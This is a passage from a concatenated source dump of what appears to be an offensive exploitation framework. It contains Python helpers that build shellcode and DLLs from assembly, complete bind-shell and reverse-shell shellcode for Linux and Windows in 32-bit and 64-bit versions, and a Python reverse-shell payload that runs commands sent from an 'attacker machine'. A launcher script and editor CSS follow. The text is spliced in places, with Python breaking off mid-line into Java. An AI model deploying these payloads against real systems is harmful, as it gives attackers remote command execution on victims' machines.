find_app = app
else:
print ("Can't understand source os")
return None
if os_target_arch == Constants.OS_ARCH.X32:
p = Popen(['%s' % find_app, '-d', obj_file], stdout=PIPE, stderr=PIPE)
elif os_target_arch == Constants.OS_ARCH.X64:
p = Popen(['%s' % find_app, '-d', obj_file, '--disassembler-options=addr64'], stdout=PIPE, stderr=PIPE)
else:
print ("OS TARGET ARCH '%s' is not supported" % os_target_arch)
return
(stdoutdata, stderrdata) = p.communicate()
if p.returncode == 0:
for line in stdoutdata.splitlines():
cols = line.split('\t')
if len(cols) >= 2:
for b in [b for b in cols[1].split(' ') if b != '']:
res = res + ('\\x%s' % b)
else:
raise ValueError(stderrdata)
if res and debug:
print ("Objdump is created")
return res
def create_shellcode(asm_code, os_target, os_target_arch, make_exe=0, debug=0, filename="", dll_inj_funcs=[]):
if os_target == Constants.OS.LINUX:
dll_inj_funcs = []
if not is_os_64bit() and os_target_arch == Constants.OS_ARCH.X64:
print ("ERR: can not create shellcode for this os_target_arch (%s) on os_arch (%s)" % (os_target_arch, OS_ARCH))
return None
asm_file = write_file(asm_code, '.asm', filename)
obj_file = get_objective_code(asm_file, os_target_arch, debug)
# stage_2:
if obj_file:
shellcode = objdump(obj_file, os_target_arch, debug)
shellcode = shellcode.replace('\\x', '').decode('hex')
# shellcode = extract_shell_from_obj(obj_file)
else:
return None
if make_exe:
make_binary_from_obj(obj_file, os_target, os_target_arch, debug)
if dll_inj_funcs:
generate_dll(os_target, os_target_arch, asm_code, filename, dll_inj_funcs, debug)
return shellcode, asm_file.split(".")[0]
def generate_dll(os_target, os_target_arch, asm_code, filename, dll_inj_funcs, debug):
asm_code = asm_code.replace("global _start", "").replace("_start:", "")
additional_code = ""
for func in dll_inj_funcs:
additional_code += "global _{}\r\n".format(func)
for func in dll_inj_funcs:
additional_code += "_{}:\r\n".format(func)
asm_code = additional_code + asm_code
asm_file = write_file(asm_code, '.asm', filename)
obj_file = get_objective_code(asm_file, os_target_arch, debug)
make_binary_from_obj(obj_file, os_target, os_target_arch, debug, True)
def make_binary_from_obj(o_file, os_target, os_target_arch, debug=0, is_dll=False):
"""
Function for test shellcode with app written on c-language
"""
if is_dll and os_target == Constants.OS.LINUX:
print('Dll can be generated only for WINDOWS OS')
return None
app = 'ld'
find_app = ''
if OS_SYSTEM == Constants.OS.WINDOWS:
if os_target == Constants.OS.LINUX:
app += '.gold'
elif os_target == Constants.OS.WINDOWS and os_target_arch == Constants.OS_ARCH.X64:
app += '64'
app += '.exe'
find_app = search_file("%s" % app, Constants.SHELLCODES_DEV_PATH)
if find_app:
if debug:
print("app: '%s' found at %s" % (app, find_app))
else:
print("You must install app: '%s' and maybe edit environment variables path to it" % app)
return None
elif OS_SYSTEM == Constants.OS.LINUX:
find_app = app
else:
print ("Can't understand source os: %s" % OS_SYSTEM)
return None
c_exe = (o_file.split('.'))[0]
commands_list = [find_app, '-o', c_exe, o_file, '--strip-all']
if OS_SYSTEM == Constants.OS.LINUX:
if os_target == Constants.OS.WINDOWS:
commands_list.append('-m')
commands_list.append('i386pe')
if is_dll:
commands_list.append('-shared')
p = Popen(commands_list)
p.communicate()
elif OS_SYSTEM == Constants.OS.WINDOWS:
if is_dll:
commands_list.append('-shared')
p = Popen(commands_list)
p.communicate()
else:
print ("ERR: source os (%s) is not supported" % OS_SYSTEM)
if os_target == Constants.OS.WINDOWS:
newname = c_exe + '.dll' if is_dll else c_exe + '.exe'
if os.path.exists(newname):
os.remove(newname)
os.rename(c_exe, newname)
print ("Complete. Now you can try to execute file: %s" % c_exe)
def is_os_64bit():
return machine().endswith('64')
def extract_shell_from_obj(file):
with open(file, 'rb') as f:
contents = f.read()
flag = contents[4]
if flag == '\x01':
length = struct.unpack('H', port)
return struct.pack('= 0);
}
public static boolean isUnix() {
return (OS.indexOf("nix") >= 0 || OS.indexOf("nux") >= 0 || OS.indexOf("aix") > 0 );
}
}
================================================
FILE: shellcodes/data/linux/src/bind_tcp.asm
================================================
global _start
section .text
_start:
push 0x66
pop eax
push 0x1
pop ebx
xor esi, esi
push esi
push ebx
push 0x2
mov ecx, esp
int 0x80
pop edi
xchg edi, eax
xchg ebx, eax
mov al, 0x66
push esi
push word 0xBIND_PORT ;port
push word bx
mov ecx, esp
push 0x10
push ecx
push edi
mov ecx, esp
int 0x80
mov al, 0x66
mov bl, 0x4
push esi
push edi
mov ecx, esp
int 0x80
mov al, 0x66
inc ebx
push esi
push esi
push edi
mov ecx, esp
int 0x80
pop ecx
pop ecx
mov cl, 0x2
xchg ebx,eax
loop:
mov al, 0x3f
int 0x80
dec ecx
jns loop
mov al, 0x0b
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
inc ecx
mov edx, ecx
int 0x80
================================================
FILE: shellcodes/data/linux/src/reverse_tcp.asm
================================================
BITS 32
global _start
_start:
; =============================== SOCKET =====================================
; socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
;
; int socket(int domain, int type, int protocol);
;
; int socketcall(int call, unsigned long *args)
; socketcall SYS_SOCKET socket() args
; EAX EBX ECX
; 102 1 (2, 1, 6)
;
; SYS_SOCKET will return file descriptor (fd) in EAX.
; EAX
xor eax, eax
mov al, 102 ; socketcall
; EBX
xor ebx, ebx
mov bl, 1 ; SYS_SOCKET socket()
; ECX
xor ecx, ecx
push ecx
push BYTE 6 ; IPPROTO_TCP || int protocol);
push BYTE 1 ; SOCK_STREAM || int type,
push BYTE 2 ; AF_INET || socket(int domain,
mov ecx, esp ; ECX - PTR to arguments for socket()
int 0x80 ; sockfd will be stored in EAX after this call
; EAX return
mov esi, eax ; save socket fd in ESI for later
;
; =============================== CONNECT =====================================
;
; connect(
; 3,
; {sa_family=AF_INET, sin_port=htons(12357), sin_addr=inet_addr("127.0.0.1")},
; 16
; ) = -1 EINPROGRESS (Operation now in progress)
;
; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
;
jmp short call_get_ip_and_port
back2shellcode:
pop edi ; getting ip and port address from ESP
; EAX
xor eax, eax
mov al, 102 ; socketcall
; EBX
xor ebx, ebx
mov bl, 3 ; SYS_CONNECT connect()
; ECX
xor edx, edx
; push edx ; 0.0.0.0 - ALL interfaces
; push DWORD 0x0100007f ; 127.0.0.1 in reverse *** CONTAINS NULLs ! ***
; push DWORD 0x0101a8c0 ; 192.168.1.1 in reverse
push DWORD [edi] ; push IP
push WORD [edi+0x4] ; push port
dec ebx ; decrease bl from 3 to 2 to use it in the next push
push WORD bx ; 2 - AF_INET
inc ebx ; put back bl to 3 for SYS_CONNECT
mov ecx, esp ; ptr to struct sockaddr
push BYTE 16 ; socklen_t addrlen);
push ecx ; const struct sockaddr *addr,
push esi ; connect(int sockfd,
mov ecx, esp ; ECX = PTR to arguments for connect()
int 0x80 ; sockfd will be in EBX
;
; =============================== DUP FD =====================================
;
; Before we spawn a shell, we need to forward all I/O (stdin,stdout,stderr)
; to a client. For this, we can dup2 syscall to duplicate a file descriptor.
; man 2 dup2
; int dup2(int oldfd, int newfd);
; EAX, EBX, ECX
; 63 sockfd 0
; 63 sockfd 1
; 63 sockfd 2
;
; move our sockfd to EAX
mov eax, ebx
xor eax, eax
mov al, 63 ; dup2 syscall
xor ecx, ecx ; 0 - stdin
int 0x80 ; call dup2(sockfd, 0)
mov al, 63 ; dup2 syscall
mov cl, 1 ; 1 - stdout
int 0x80 ; call dup2(sockfd, 1)
mov al, 63 ; dup2 syscall
mov cl, 2 ; 2 - stderr
int 0x80 ; call dup2(sockfd, 2)
;
; =============================== EXECVE =====================================
;
; Now as we forwarded sockfd to a client, we can spawn shell.
; Prepare the path, in little-endian, using the Python
; >>> '//bin/sh'[::-1].encode('hex')
; '68732f6e69622f2f'
;
; int execve(const char *filename, char *const argv[], char *const envp[]);
; EAX EBX, ECX, EDX
; 11 '//bin/sh' PTR to EBX NULL
; EAX
xor eax, eax
mov al, 11 ; execve syscall
; EBX
xor edx, edx
push edx ; NULL termination of '//bin/sh' string
push 0x68732f6e ; '//bin/sh' in reverse
push 0x69622f2f ; beginning of '//bin/sh' string is here
mov ebx, esp ; put the address of '//bin/sh' into ebx via esp
; ECX
push edx ; NULL termination of a stack
push ebx ; load our '//bin/sh' on a stack
mov ecx, esp ; ECX is a PTR to stack where we've got EBX address to '//bin/sh' string.
; EDX
push edx ; NULL terminator
mov edx, esp ; EDX is a PTR to a stack which has an address to NULL.
int 0x80 ; call execve(EBX, ECX, EDX)
call_get_ip_and_port:
call back2shellcode
; dd 0x0101a8c0 ; Example: DWORD 192.168.1.1 reverse (in hex)
; db 0xc0, 0xa8, 0x01, 0x01 ; Example: BYTE 192.168.1.1 straight (in hex)
dd 0xCONNECTBACK_IP
; dw 0x4530 ; Example: WORD 12357 reverse (in hex)
; db 0x30, 0x45 ; Example: BYTE 12357 straight (in hex)
dw 0xCONNECTBACK_PORT
================================================
FILE: shellcodes/data/linux/x64/src/bind_tcp.asm
================================================
BITS 64
global _start
section .text
_start:
push 0x29
pop rax
cdq
push 0x2
pop rdi
push 0x1
pop rsi
syscall
push rax
pop rdi
push rdx
push rdx
mov byte [rsp], 0x2
mov word [rsp + 0x2], 0xBIND_PORT
push rsp
pop rsi
push rdx
push 0x10
pop rdx
push 0x31
pop rax
syscall
pop rsi
mov al, 0x32
syscall
mov al, 0x2b
syscall
push rax
pop rdi
push 0x3
pop rsi
dupe_loop:
dec esi
mov al, 0x21
syscall
jne dupe_loop
push rsi
pop rdx
push rsi
mov rdi, '//bin/sh'
push rdi
push rsp
pop rdi
mov al, 0x3b
syscall
================================================
FILE: shellcodes/data/linux/x64/src/reverse_tcp.asm
================================================
BITS 64
global _start
; settings
;IP equ 0x0100007f ; default 127.0.0.1, contains nulls so will need mask
IP equ 0xCONNECTBACK_IP
;PORT equ 0x5c11 ; default 4444
PORT equ 0xCONNECTBACK_PORT
; syscall kernel opcodes
SYS_SOCKET equ 0x29
SYS_CONNECT equ 0x2a
SYS_DUP2 equ 0x21
SYS_EXECVE equ 0x3b
; argument constants
AF_INET equ 0x2
SOCK_STREAM equ 0x1
_start:
; High level psuedo-C overview of shellcode logic:
;
; sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
;
; struct sockaddr = {AF_INET; [PORT; IP; 0x0]}
;
; connect(sockfd, &sockaddr, 16)
;
; dup2(sockfd, STDIN+STDOUT+STDERR)
; execve("/bin/sh", NULL, NULL)
create_sock:
; sockfd = socket(AF_INET, SOCK_STREAM, 0)
; AF_INET = 2
; SOCK_STREAM = 1
; syscall number 41
xor esi, esi ; 0 out rsi
mul esi ; 0 out rax, rdx
; rdx = IPPROTO_IP (int: 0)
inc esi ; rsi = SOCK_STREAM (int: 1)
push AF_INET ; rdi = AF_INET (int: 2)
pop rdi
add al, SYS_SOCKET
syscall
; copy socket descriptor to rdi for future use
push rax
pop rdi
struct_sockaddr:
; server.sin_family = AF_INET
; server.sin_port = htons(PORT)
; server.sin_addr.s_addr = inet_addr("127.0.0.1")
; bzero(&server.sin_zero, 8)
push rdx
push rdx
mov dword [rsp + 0x4], IP
mov word [rsp + 0x2], PORT
mov byte [rsp], AF_INET
connect_sock:
; connect(sockfd, (struct sockaddr *)&server, sockaddr_len)
push rsp
pop rsi
push 0x10
pop rdx
push SYS_CONNECT
pop rax
syscall
dupe_sockets:
; dup2(sockfd, STDIN)
; dup2(sockfd, STDOUT)
; dup2(sockfd, STERR)
push 0x3 ; loop down file descriptors for I/O
pop rsi
dupe_loop:
dec esi
mov al, SYS_DUP2
syscall
jne dupe_loop
exec_shell:
; execve('//bin/sh', NULL, NULL)
push rsi ; *argv[] = 0
pop rdx ; *envp[] = 0
push rsi ; '\0'
mov rdi, '//bin/sh' ; str
push rdi
push rsp
pop rdi ; rdi = &str (char*)
mov al, SYS_EXECVE ; we fork with this syscall
syscall
================================================
FILE: shellcodes/data/windows/src/bind_tcp.asm
================================================
BITS 32
cld
call start
api_call:
pushad
mov ebp, esp
xor edx, edx
mov edx, [fs:edx+48]
mov edx, [edx+12]
mov edx, [edx+20]
next_mod:
mov esi, [edx+40]
movzx ecx, word [edx+38]
xor edi, edi
loop_modname:
xor eax, eax
lodsb
cmp al, 'a'
jl not_lowercase
sub al, 0x20
not_lowercase:
ror edi, 13
add edi, eax
loop loop_modname
push edx
push edi
mov edx, [edx+16]
mov eax, [edx+60]
add eax, edx
mov eax, [eax+120]
test eax, eax
jz get_next_mod1
add eax, edx
push eax
mov ecx, [eax+24]
mov ebx, [eax+32]
add ebx, edx
get_next_func:
jecxz get_next_mod
dec ecx
mov esi, [ebx+ecx*4]
add esi, edx
xor edi, edi
loop_funcname:
xor eax, eax
lodsb
ror edi, 13
add edi, eax
cmp al, ah
jne loop_funcname
add edi, [ebp-8]
cmp edi, [ebp+36]
jnz get_next_func
pop eax
mov ebx, [eax+36]
add ebx, edx
mov cx, [ebx+2*ecx]
mov ebx, [eax+28]
add ebx, edx
mov eax, [ebx+4*ecx]
add eax, edx
finish:
mov [esp+36], eax
pop ebx
pop ebx
popad
pop ecx
pop edx
push ecx
jmp eax
get_next_mod:
pop eax
get_next_mod1:
pop edi
pop edx
mov edx, [edx]
jmp short next_mod
start:
pop ebp
bind_tcp:
push 0x00003233
push 0x5F327377
push esp
push 0x0726774C
call ebp
mov eax, 0x0190
sub esp, eax
push esp
push eax
push 0x006B8029
call ebp
push eax
push eax
push eax
push eax
inc eax
push eax
inc eax
push eax
push 0xE0DF0FEA
call ebp
xchg edi, eax
xor ebx, ebx
push ebx
push 0xBIND_PORT0002 ;port
mov esi, esp
push byte 16
push esi
push edi
push 0x6737DBC2
call ebp
push ebx
push edi
push 0xFF38E9B7
call ebp
push ebx
push ebx
push edi
push 0xE13BEC74
call ebp
push edi
xchg edi, eax
push 0x614D6E75
call ebp
shell:
push 0x00646D63
mov ebx, esp
push edi
push edi
push edi
xor esi, esi
push byte 18
pop ecx
push_loop:
push esi
loop push_loop
mov word [esp + 60], 0x0101
lea eax, [esp + 16]
mov byte [eax], 68
push esp
push eax
push esi
push esi
push esi
inc esi
push esi
dec esi
push esi
push esi
push ebx
push esi
push 0x863FCC79
call ebp
mov eax, esp
dec esi
push esi
inc esi
push dword [eax]
push 0x601D8708
call ebp
exitfunk:
mov ebx, 0x0A2A1DE0
push 0x9DBD95A6
call ebp
cmp al, byte 6
jl short goodbye
cmp bl, 0xE0
jne short goodbye
mov ebx, 0x6F721347
goodbye:
push byte 0
push ebx
call ebp
================================================
FILE: shellcodes/data/windows/src/reverse_tcp.asm
================================================
global _start
_start:
cld
call main
pusha
mov ebp,esp
xor eax,eax
mov edx,DWORD [fs:eax+0x30]
mov edx,DWORD [edx+0xc]
mov edx,DWORD [edx+0x14]
place1:
mov esi,DWORD [edx+0x28]
movzx ecx,WORD [edx+0x26]
xor edi,edi
loop1:
lodsb
cmp al,0x61
jl place2
sub al,0x20
place2:
ror edi,0xd
add edi,eax
loop loop1
push edx
push edi
mov edx,DWORD [edx+0x10]
mov ecx,DWORD [edx+0x3c]
mov ecx,DWORD [ecx+edx*1+0x78]
jecxz place6
add ecx,edx
push ecx
mov ebx,DWORD [ecx+0x20]
add ebx,edx
mov ecx,DWORD [ecx+0x18]
place3:
jecxz place5
dec ecx
mov esi,DWORD [ebx+ecx*4]
add esi,edx
xor edi,edi
place4:
lodsb
ror edi,0xd
add edi,eax
cmp al,ah
jne place4
add edi,DWORD [ebp-0x8]
cmp edi,DWORD [ebp+0x24]
jne place3
pop eax
mov ebx,DWORD [eax+0x24]
add ebx,edx
mov cx,WORD [ebx+ecx*2]
mov ebx,DWORD [eax+0x1c]
add ebx,edx
mov eax,DWORD [ebx+ecx*4]
add eax,edx
mov DWORD [esp+0x24],eax
pop ebx
pop ebx
popa
pop ecx
pop edx
push ecx
jmp eax
place5:
pop edi
place6:
pop edi
pop edx
mov edx,DWORD [edx]
jmp place1
main:
pop ebp
push 0x3233
push 0x5f327377
push esp
push 0x726774c
call ebp
mov eax,0x190
sub esp,eax
push esp
push eax
push 0x6b8029
call ebp
push eax
push eax
push eax
push eax
inc eax
push eax
inc eax
push eax
push 0xe0df0fea
call ebp
xchg edi,eax
push 0x5
push 0xCONNECTBACK_IP ;host
push 0xCONNECTBACK_PORT0002 ; port
mov esi,esp
place7:
push 0x10
push esi
push edi
push 0x6174a599
call ebp
test eax,eax
je place8
dec DWORD [esi+0x8]
jne place7
push 0x56a2b5f0
call ebp
place8:
push 0x646d63
mov ebx,esp
push edi
push edi
push edi
xor esi,esi
push 0x12
pop ecx
loop2:
push esi
loop loop2
mov WORD [esp+0x3c],0x101
lea eax,[esp+0x10]
mov BYTE [eax],0x44
push esp
push eax
push esi
push esi
push esi
inc esi
push esi
dec esi
push esi
push esi
push ebx
push esi
push 0x863fcc79
call ebp
mov eax,esp
dec esi
push esi
inc esi
push DWORD [eax]
push 0x601d8708
call ebp
mov ebx,0x56a2b5f0
push 0x9dbd95a6
call ebp
cmp al,0x6
jl place9
cmp bl,0xe0
jne place9
mov ebx,0x6f721347
place9:
push 0x0
push ebx
call ebp
================================================
FILE: shellcodes/data/windows/x64/src/bind_tcp.asm
================================================
[BITS 64]
cld
and rsp, 0xFFFFFFFFFFFFFFF0
call start
api_call:
push r9
push r8
push rdx
push rcx
push rsi
xor rdx, rdx
mov rdx, [gs:rdx+96]
mov rdx, [rdx+24]
mov rdx, [rdx+32]
next_mod:
mov rsi, [rdx+80]
movzx rcx, word [rdx+74]
xor r9, r9
loop_modname:
xor rax, rax
lodsb
cmp al, 'a'
jl not_lowercase
sub al, 0x20
not_lowercase:
ror r9d, 13
add r9d, eax
loop loop_modname
push rdx
push r9
mov rdx, [rdx+32]
mov eax, dword [rdx+60]
add rax, rdx
cmp word [rax+24], 0x020B
jne get_next_mod1
mov eax, dword [rax+136]
test rax, rax
jz get_next_mod1
add rax, rdx
push rax
mov ecx, dword [rax+24]
mov r8d, dword [rax+32]
add r8, rdx
get_next_func:
jrcxz get_next_mod
dec rcx
mov esi, dword [r8+rcx*4]
add rsi, rdx
xor r9, r9
loop_funcname:
xor rax, rax
lodsb
ror r9d, 13
add r9d, eax
cmp al, ah
jne loop_funcname
add r9, [rsp+8]
cmp r9d, r10d
jnz get_next_func
pop rax
mov r8d, dword [rax+36]
add r8, rdx
mov cx, [r8+2*rcx]
mov r8d, dword [rax+28]
add r8, rdx
mov eax, dword [r8+4*rcx]
add rax, rdx
finish:
pop r8
pop r8
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 32
push r10
jmp rax
get_next_mod:
pop rax
get_next_mod1:
pop r9
pop rdx
mov rdx, [rdx]
jmp next_mod
start:
pop rbp
bind_tcp:
mov r14, 'ws2_32'
push r14
mov r14, rsp
sub rsp, 408+8
mov r13, rsp
mov r12, 0x00000000BIND_PORT0002
push r12
mov r12, rsp
mov rcx, r14
mov r10d, 0x0726774C
call rbp
mov rdx, r13
push 0x0101
pop rcx
mov r10d, 0x006B8029
call rbp
push rax
push rax
xor r9, r9
xor r8, r8
inc rax
mov rdx, rax
inc rax
mov rcx, rax
mov r10d, 0xE0DF0FEA
call rbp
mov rdi, rax
push byte 16
pop r8
mov rdx, r12
mov rcx, rdi
mov r10d, 0x6737DBC2
call rbp
xor rdx, rdx
mov rcx, rdi
mov r10d, 0xFF38E9B7
call rbp
xor r8, r8
xor rdx, rdx
mov rcx, rdi
mov r10d, 0xE13BEC74
call rbp
mov rcx, rdi
mov rdi, rax
mov r10d, 0x614D6E75
call rbp
add rsp, ( (408+8) + (8*4) + (32*7) )
shell:
mov r8, 'cmd'
push r8
push r8
mov rdx, rsp
push rdi
push rdi
push rdi
xor r8, r8
push byte 13
pop rcx
push_loop:
push r8
loop push_loop
mov word [rsp+84], 0x0101
lea rax, [rsp+24]
mov byte [rax], 104
mov rsi, rsp
push rsi
push rax
push r8
push r8
push r8
inc r8
push r8
dec r8
mov r9, r8
mov rcx, r8
mov r10d, 0x863FCC79
call rbp
xor rdx, rdx
dec rdx
mov ecx, dword [rsi]
mov r10d, 0x601D8708
call rbp
exitfunk:
mov ebx, 0x0A2A1DE0
mov r10d, 0x9DBD95A6
call rbp
add rsp, 40
cmp al, byte 6
jl short goodbye
cmp bl, 0xE0
jne short goodbye
mov ebx, 0x6F721347
goodbye:
push byte 0
pop rcx
mov r10d, ebx
call rbp
================================================
FILE: shellcodes/data/windows/x64/src/reverse_tcp.asm
================================================
[BITS 64]
cld
and rsp, 0xFFFFFFFFFFFFFFF0
call start
api_call:
push r9
push r8
push rdx
push rcx
push rsi
xor rdx, rdx
mov rdx, [gs:rdx+96]
mov rdx, [rdx+24]
mov rdx, [rdx+32]
next_mod:
mov rsi, [rdx+80]
movzx rcx, word [rdx+74]
xor r9, r9
loop_modname:
xor rax, rax
lodsb
cmp al, 'a'
jl not_lowercase
sub al, 0x20
not_lowercase:
ror r9d, 13
add r9d, eax
loop loop_modname
push rdx
push r9
mov rdx, [rdx+32]
mov eax, dword [rdx+60]
add rax, rdx
cmp word [rax+24], 0x020B
jne get_next_mod1
mov eax, dword [rax+136]
test rax, rax
jz get_next_mod1
add rax, rdx
push rax
mov ecx, dword [rax+24]
mov r8d, dword [rax+32]
add r8, rdx
get_next_func:
jrcxz get_next_mod
dec rcx
mov esi, dword [r8+rcx*4]
add rsi, rdx
xor r9, r9
loop_funcname:
xor rax, rax
lodsb
ror r9d, 13
add r9d, eax
cmp al, ah
jne loop_funcname
add r9, [rsp+8]
cmp r9d, r10d
jnz get_next_func
pop rax
mov r8d, dword [rax+36]
add r8, rdx
mov cx, [r8+2*rcx]
mov r8d, dword [rax+28]
add r8, rdx
mov eax, dword [r8+4*rcx]
add rax, rdx
finish:
pop r8
pop r8
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 32
push r10
jmp rax
get_next_mod:
pop rax
get_next_mod1:
pop r9
pop rdx
mov rdx, [rdx]
jmp next_mod
start:
pop rbp
reverse_tcp:
mov r14, 'ws2_32'
push r14
mov r14, rsp
sub rsp, 408+8
mov r13, rsp
mov r12, 0xCONNECTBACK_IPCONNECTBACK_PORT0002
push r12
mov r12, rsp
mov rcx, r14
mov r10d, 0x0726774C
call rbp
mov rdx, r13
push 0x0101
pop rcx
mov r10d, 0x006B8029
call rbp
push rax
push rax
xor r9, r9
xor r8, r8
inc rax
mov rdx, rax
inc rax
mov rcx, rax
mov r10d, 0xE0DF0FEA
call rbp
mov rdi, rax
push byte 16
pop r8
mov rdx, r12
mov rcx, rdi
mov r10d, 0x6174A599
call rbp
add rsp, ( (408+8) + (8*4) + (32*4) )
shell:
mov r8, 'cmd'
push r8
push r8
mov rdx, rsp
push rdi
push rdi
push rdi
xor r8, r8
push byte 13
pop rcx
push_loop:
push r8
loop push_loop
mov word [rsp+84], 0x0101
lea rax, [rsp+24]
mov byte [rax], 104
mov rsi, rsp
push rsi
push rax
push r8
push r8
push r8
inc r8
push r8
dec r8
mov r9, r8
mov rcx, r8
mov r10d, 0x863FCC79
call rbp
xor rdx, rdx
dec rdx
mov ecx, dword [rsi]
mov r10d, 0x601D8708
call rbp
exitfunk:
mov ebx, 0x0A2A1DE0
mov r10d, 0x9DBD95A6
call rbp
add rsp, 40
cmp al, byte 6
jl short goodbye
cmp bl, 0xE0
jne short goodbye
mov ebx, 0x6F721347
goodbye:
push byte 0
pop rcx
mov r10d, ebx
call rbp
================================================
FILE: shellcodes/shellcode.py
================================================
class Shellcode:
def __init__(self, os_target='', os_target_arch='', connectback_ip='localhost', connectback_port=5555, badchars=['\x00']):
self.OS_TARGET = os_target
self.OS_TARGET_ARCH = os_target_arch
self.CONNECTBACK_IP = connectback_ip
self.CONNECTBACK_PORT = connectback_port
self.BADCHARS = badchars
return
def get_shellcode(self, inline=False):
return ''
def make_inline(self, payload):
payload = payload.replace('\t',' ')
payload = payload.replace('\r',' ')
payload = payload.replace('\n',' ')
return payload
================================================
FILE: shellcodes/shellcode_payload.py
================================================
#!/usr/bin/python
import socket,subprocess
HOST = '127.0.0.1' # The remote host
PORT = 5555 # The same port as used by the server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# connect to attacker machine
s.connect((HOST, PORT))
# send we are connected
s.send('[*] Connection Established!')
# start loop
while 1:
# recieve shell command
data = s.recv(1024)
print data
# if its quit, then break out and close socket
if data == "quit":
break
# do shell command
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
# read output
stdout_value = proc.stdout.read() + proc.stderr.read()
# send output to attacker
s.send(stdout_value)
# close socket
s.close()
================================================
FILE: start.py
================================================
import os, sys
import threading
import logging
import BaseHTTPServer
from ui.httpd import HTTPRequestHandler
import subprocess
import zipfile
from shutil import rmtree
import argparse
import importlib
import asyncore
from core.WebSocketServer import WebSocketServer
sys.path.append("./core")
sys.path.append("./core/helpers/java")
sys.path.append("./core/helpers/archieve")
sys.path.append("./shellcodes")
VERSION = "2.0.0"
class FrameworkStarter:
def __init__(self, host="localhost", ws_port=49999, port=80):
self.host = host
self.port = port
self.ws_port = ws_port
self.platform = "win" if os.name == "nt" else "other"
self.logger = None
self.prepare_logging(True)
self.prepare_environment()
self.dependencies = ["setuptools", "six", "websocket"]
self.install_missing_deps()
self.parse_args()
def prepare_logging(self, verbose):
if not os.path.exists("Logs"):
os.makedirs("Logs")
self.logger = logging.getLogger()
self.logger.setLevel(logging.INFO)
formatter = logging.Formatter('%(filename)s - %(asctime)s - %(levelname)s - %(message)s')
fh = logging.FileHandler('Logs/commonLog.log')
fh.setLevel(logging.INFO)
fh.setFormatter(formatter)
self.logger.addHandler(fh)
if verbose:
ch = logging.StreamHandler()
ch.setLevel(logging.WARNING)
ch.setFormatter(formatter)
self.logger.addHandler(ch)
def prepare_environment(self):
root_dir = os.getcwd()
core = os.path.join(root_dir, "core")
shellcodes = os.path.join(root_dir, "shellcodes")
paths = [root_dir, core, shellcodes]
os.environ.data["PYTHONPATH"] = ";".join(paths) if self.platform == "win" else ":".join(paths)
def install_missing_deps(self):
"""
Check and install missing dependencies
"""
# # checking for setup_tools
# try:
# imported = importlib.import_module("easy_install")
# except ImportError:
# print("Installing setup-tools...")
# self.
is_there_deps = False
for module in self.dependencies:
try:
imported = importlib.import_module(module)
except ImportError:
is_there_deps = True
print("Module %s will be installed" % module)
self.install_python_lib(module)
if is_there_deps:
print("All dependencies installed")
os.execv(sys.executable, [sys.executable] + sys.argv)
def install_python_lib(self, relative_path):
modules_path = os.path.join(os.getcwd(), "3rdPartyTools", "")
zipOb = zipfile.ZipFile(modules_path + relative_path+'.zip')
zipOb.extractall(modules_path + relative_path)
module_path = ''.join(["", str(os.getcwd()), "/3rdPartyTools/"+relative_path+"/"])
args = [sys.executable, '%ssetup.py' % module_path, 'install']
proc = subprocess.Popen(args, cwd=module_path, shell=False)
proc.communicate()
message = "%s installed successfully" % relative_path
print(message)
rmtree(modules_path + relative_path)
def parse_args(self):
parser = argparse.ArgumentParser()
parser.add_argument('-p', dest='port', default=80, type=int,
help='Webserver port')
parser.add_argument('--all-interfaces', dest='use_default_route',
help='Use 0.0.0.0 as webserver IP', action='store_const',
const=True,
default=False)
args = parser.parse_args()
if args.port:
self.port = args.port
if args.use_default_route:
self.host = "0.0.0.0"
return args
def start_servers(self):
print("Starting servers...")
ws_server = WebSocketServer(self.host, self.ws_port, 2000)
http_server = BaseHTTPServer.HTTPServer((self.host, self.port), HTTPRequestHandler)
th2 = threading.Thread(target=http_server.serve_forever)
threads = [th2]
for t in threads:
t.daemon = True
t.start()
print("GUI available @ %s:%s" % (self.host, self.port))
while len(threads) > 0:
try:
# Join all threads using a timeout so it doesn't block
# Filter out threads which have been joined or are None
asyncore.loop()
threads = [t.join(1000) for t in threads if t is not None and t.isAlive()]
except KeyboardInterrupt:
ws_server.kill_all_processes()
ws_server.ExitNow('WS Server is quitting!')
http_server.shutdown()
os._exit(1)
if __name__ == "__main__":
runner = FrameworkStarter()
runner.start_servers()
================================================
FILE: ui/__init__.py
================================================
================================================
FILE: ui/css/codemirror.css
================================================
/* BASICS */
.CodeMirror {
/* Set height, width, borders, and global font properties here */
font-family: monospace;
height: 300px;
}
.CodeMirror-scroll {
/* Set scrolling behaviour here */
overflow: auto;
}
/* PADDING */
.CodeMirror-lines {
padding: 4px 0; /* Vertical padding around content */
}
.CodeMirror pre {
padding: 0 4px; /* Horizontal padding of content */
}
.CodeMirror-scrollbar-filler, .CodeMirror-gutter-filler {
background-color: white; /* The little square between H and V scrollbars */
}
/* GUTTER */
.CodeMirror-gutters {
border-right: 1px solid #ddd;
background-color: #f7f7f7;
white-space: nowrap;
}
.CodeMirror-linenumbers {}
.CodeMirror-linenumber {
padding: 0 3px 0 5px;
min-width: 20px;
text-align: right;
color: #999;
-moz-box-sizing: content-box;
box-sizing: content-box;
}
.CodeMirror-guttermarker { color: black; }
.CodeMirror-guttermarker-subtle { color: #999; }
/* CURSOR */
.CodeMirror div.CodeMirror-cursor {
border-left: 1px solid black;
}
/* Shown when moving in bi-directional text */
.CodeMirror div.CodeMirror-secondarycursor {
border-left: 1px solid silver;
}
.CodeMirror.cm-keymap-fat-cursor div.CodeMirror-cursor {
width: auto;
border: 0;
background: #7e7;
}
.CodeMirror.cm-keymap-fat-cursor div.CodeMirror-cursors {
z-index: 1;
}
.cm-animate-fat-cursor {
width: auto;
border: 0;
-webkit-animation: blink 1.06s steps(1) infinite;
-moz-animation: blink 1.06s steps(1) infinite;
animation: blink 1.06s steps(1) infinite;
}
@-moz-keyframes blink {
0% { background: #7e7; }
50% { background: none; }
100% { background: #7e7; }
}
@-webkit-keyframes blink {
0% { background: #7e7; }
50% { background: none; }
100% { background: #7e7; }
}
@keyframes blink {
0% { background: #7e7; }
50% { background: none; }
